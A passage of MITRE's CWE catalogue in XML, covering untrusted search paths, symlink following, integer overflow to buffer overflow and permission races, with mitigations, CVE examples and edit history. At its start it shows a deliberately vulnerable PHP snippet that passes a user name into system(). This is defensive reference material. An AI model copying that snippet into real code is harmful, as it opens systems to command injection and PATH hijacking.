							              <Code> $command = 'ps aux | grep ' . $userName;</Code>
							              <Code> system($command);</Code>
						            </Block>
						            <Text>This program is also vulnerable to a PATH based attack, as an attacker
							may be able to create malicious versions of the ps or grep commands.
							While the program does not explicitly raise privileges to run the system
							commands, the PHP interpreter may by default be running with higher
							privileges than users.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1120</Observed_Example_Reference>
					          <Observed_Example_Description>Application relies on its PATH environment
						variable to find and execute program.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-1810</Observed_Example_Reference>
					          <Observed_Example_Description>Database application relies on its PATH
						environment variable to find and execute
						program.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-2027</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: untrusted search path enabling resultant
						format string by loading malicious internationalization
						messages.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3485</Observed_Example_Reference>
					          <Observed_Example_Description>Untrusted search path using malicious .EXE in
						Windows environment.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-2613</Observed_Example_Reference>
					          <Observed_Example_Description>setuid program allows compromise using path that
						finds and loads a malicious library.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-1319</Observed_Example_Reference>
					          <Observed_Example_Description>Server allows client to specify the search path,
						which can be modified to point to a program that the client has
						uploaded.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>Program invocation</Functional_Area>
				        <Functional_Area>Code libraries</Functional_Area>
			      </Functional_Areas>
			      <Affected_Resources>
				        <Affected_Resource>System Process</Affected_Resource>
			      </Affected_Resources>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Search path issues on Windows are under-studied and possibly
						under-reported.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 10, Process Attributes, page 603</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-8">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 8, "Canonical Representation Issues." Page
						229.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-9">
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Author>Gary McGraw</Reference_Author>
					          <Reference_Title>Building Secure Software: How to Avoid Security Problems the
						Right Way</Reference_Title>
					          <Reference_Section>Chapter 12, "Trust Management and Input Validation." Pages
						317-320.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison-Wesley</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 11, "Don't Trust the PATH - Use Full Path Names" Page
						385</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Untrusted Search Path</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Relative path library search</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Sanitize the environment when invoking external
						programs</Mapped_Node_Name>
					          <Mapped_Node_ID>ENV03-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Sanitize the environment when invoking external
						programs</Mapped_Node_Name>
					          <Mapped_Node_ID>ENV03-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>38</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Demonstrative_Examples, Description, Observed_Examples,
						Potential_Mitigations, Relationships,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Detection_Factors,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Description, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Compound_Element>
                    <Compound_Element ID="61" Name="UNIX Symbolic Link (Symlink) Following" Compound_Element_Abstraction="Variant" Compound_Element_Structure="Composite" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software, when opening a file or directory, does not
					sufficiently account for when the file is a symbolic link that resolves to a
					target outside of the intended control sphere. This could allow an attacker to
					cause the software to operate on unauthorized files.</Description_Summary>
				        <Extended_Description>
					          <Text>A software system that allows UNIX symbolic links (symlink) as part of
						paths whether in internal code or through user input can allow an attacker
						to spoof the symbolic link and traverse the file system to unintended
						locations or access arbitrary files. The symbolic link can permit an
						attacker to read/write/corrupt a file that they originally did not have
						permissions to access.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>59</Relationship_Target_ID>
					          <!--Improper Link Resolution Before File Access ('Link Following')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>60</Relationship_Target_ID>
					          <!--UNIX Path Link Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>Requires</Relationship_Nature>
					          <Relationship_Target_ID>362</Relationship_Target_ID>
					          <!--Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>Requires</Relationship_Nature>
					          <Relationship_Target_ID>340</Relationship_Target_ID>
					          <!--Predictability Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>Requires</Relationship_Nature>
					          <Relationship_Target_ID>216</Relationship_Target_ID>
					          <!--Containment Errors (Container Errors)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>Requires</Relationship_Nature>
					          <Relationship_Target_ID>386</Relationship_Target_ID>
					          <!--Symbolic Name not Mapping to Correct Object-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>Requires</Relationship_Nature>
					          <Relationship_Target_ID>275</Relationship_Target_ID>
					          <!--Permission Issues-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Fault: filename predictability, insecure directory permissions, non-atomic
						operations, race condition.</Text>
					          <Text>These are typically reported for temporary files or privileged
						programs.</Text>
				        </Note>
			      </Other_Notes>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Symlink following</Term>
				        </Alternate_Term>
				        <Alternate_Term>
					          <Term>symlink vulnerability</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High to Very High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Symbolic link attacks often occur when a program creates a tmp
							directory that stores files/links. Access to the directory should be
							restricted to the program as to prevent attackers from manipulating the
							files.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-48.1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Follow the principle of least privilege when assigning access rights
							to entities in a software system.</Text>
						            <Text>Denying access to a file can prevent an attacker from replacing that
							file with a link to a sensitive file. Ensure good compartmentalization
							in the system to provide protected areas that can be trusted.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1386</Observed_Example_Reference>
					          <Observed_Example_Description> Some versions of Perl follows symbolic links when
						running with the -e option, which allows local users to overwrite arbitrary
						files via a symlink attack. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-1178</Observed_Example_Reference>
					          <Observed_Example_Description> Text editor follows symbolic links when creating
						a rescue copy during an abnormal exit, which allows local users to overwrite
						the files of other users. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0217</Observed_Example_Reference>
					          <Observed_Example_Description> Antivirus update allows local users to create or
						append to arbitrary files via a symlink attack on a logfile.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0517</Observed_Example_Reference>
					          <Observed_Example_Description> Symlink attack allows local users to overwrite
						files. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0689</Observed_Example_Reference>
					          <Observed_Example_Description>Possible interesting
						example</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1879</Observed_Example_Reference>
					          <Observed_Example_Description>Second-order symlink
						vulnerabilities</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1880</Observed_Example_Reference>
					          <Observed_Example_Description>Second-order symlink
						vulnerabilities</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1916</Observed_Example_Reference>
					          <Observed_Example_Description>Symlink in Python
						program</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0972</Observed_Example_Reference>
					          <Observed_Example_Description>Setuid product allows file reading by replacing a
						file being edited with a symlink to the targeted file, leaking the result in
						error messages when parsing fails.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0824</Observed_Example_Reference>
					          <Observed_Example_Description>Signal causes a dump that follows
						symlinks.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Symlink vulnerabilities are regularly found in C and shell programs, but
						all programming languages can have this problem. Even shell programs are
						probably under-reported.</Text>
					          <Text>"Second-order symlink vulnerabilities" may exist in programs that invoke
						other programs that follow symlinks. They are rarely reported but are likely
						to be fairly common when process invocation is used. Reference:
						[Christey2005]</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference>
					          <Reference_Author>Steve Christey</Reference_Author>
					          <Reference_Title>Second-Order Symlink Vulnerabilities</Reference_Title>
					          <Reference_Publication>Bugtraq</Reference_Publication>
					          <Reference_Date>2005-06-07</Reference_Date>
					          <Reference_Link>http://www.securityfocus.com/archive/1/401682</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Shaun Colley</Reference_Author>
					          <Reference_Title>Crafting Symlinks for Fun and Profit</Reference_Title>
					          <Reference_Publication>Infosec Writers Text Library</Reference_Publication>
					          <Reference_Date>2004-04-12</Reference_Date>
					          <Reference_Link>http://www.infosecwriters.com/texts.php?op=display&amp;id=159</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 9, "Symbolic Link Attacks", Page
						518.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>UNIX symbolic link following</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>27</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Observed_Example, Other_Notes,
						Research_Gaps, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Compound_Element>
                    <Compound_Element ID="680" Name="Integer Overflow to Buffer Overflow" Compound_Element_Abstraction="Base" Compound_Element_Structure="Chain" Status="Draft">
			      <Description>
				        <Description_Summary>The product performs a calculation to determine how much memory
					to allocate, but an integer overflow can occur that causes less memory to be
					allocated than expected, leading to a buffer overflow.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>709</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Chains>
						            <Relationship_Chain_ID>680</Relationship_Chain_ID>
					          </Relationship_Chains>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>StartsWith</Relationship_Nature>
					          <Relationship_Target_ID>190</Relationship_Target_ID>
					          <!--Integer Overflow or Wraparound-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Relevant_Properties>
				        <Relevant_Property>Validity</Relevant_Property>
			      </Relevant_Properties>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>10</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>100</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>14</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>24</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>45</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>46</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>47</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>67</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>8</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>9</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>92</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Compound_Element>
                    <Compound_Element ID="689" Name="Permission Race Condition During Resource Copy" Compound_Element_Abstraction="Base" Compound_Element_Structure="Composite" Status="Draft">
			      <Description>
				        <Description_Summary>The product, while copying or cloning a resource, does not set
					the resource's permissions or access control until the copy is complete, leaving
					the resource exposed to other spheres while the copy is taking
					place.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>275</Relationship_Target_ID>
					          <!--Permission Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>732</Relationship_Target_ID>
					          <!--Incorrect Permission Assignment for Critical Resource-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>Requires</Relationship_Nature>
					          <Relationship_Target_ID>362</Relationship_Target_ID>
					          <!--Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>Requires</Relationship_Nature>
					          <Relationship_Target_ID>732</Relationship_Target_ID>
					          <!--Incorrect Permission Assignment for Critical Resource-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="Perl"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>This is a general issue, although few subtypes are currently known. The
						most common examples occur in file archive extraction, in which the product
						begins the extraction with insecure default permissions, then only sets the
						final permissions (as specified in the archive) once the copy is complete.
						The larger the archive, the larger the timing window for the race condition.
						This weakness has also occurred in some operating system utilities that
						perform copies of deeply nested directories containing a large number of
						files.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0760</Observed_Example_Reference>
					          <Observed_Example_Description>Archive extractor decompresses files with
						world-readable permissions, then later sets permissions to what the archive
						specified.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2174</Observed_Example_Reference>
					          <Observed_Example_Description>Product inserts a new object into database before
						setting the object's permissions, introducing a race
						condition.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-5214</Observed_Example_Reference>
					          <Observed_Example_Description>error file has weak permissions before a chmod is
						performed.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2475</Observed_Example_Reference>
					          <Observed_Example_Description>Archive permissions issue using hard
						link.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0265</Observed_Example_Reference>
					          <Observed_Example_Description>database product creates files world-writable
						before initializing the setuid bits, leading to modification of
						executables.</Observed_Example_Description>
				        </Observed_Example>
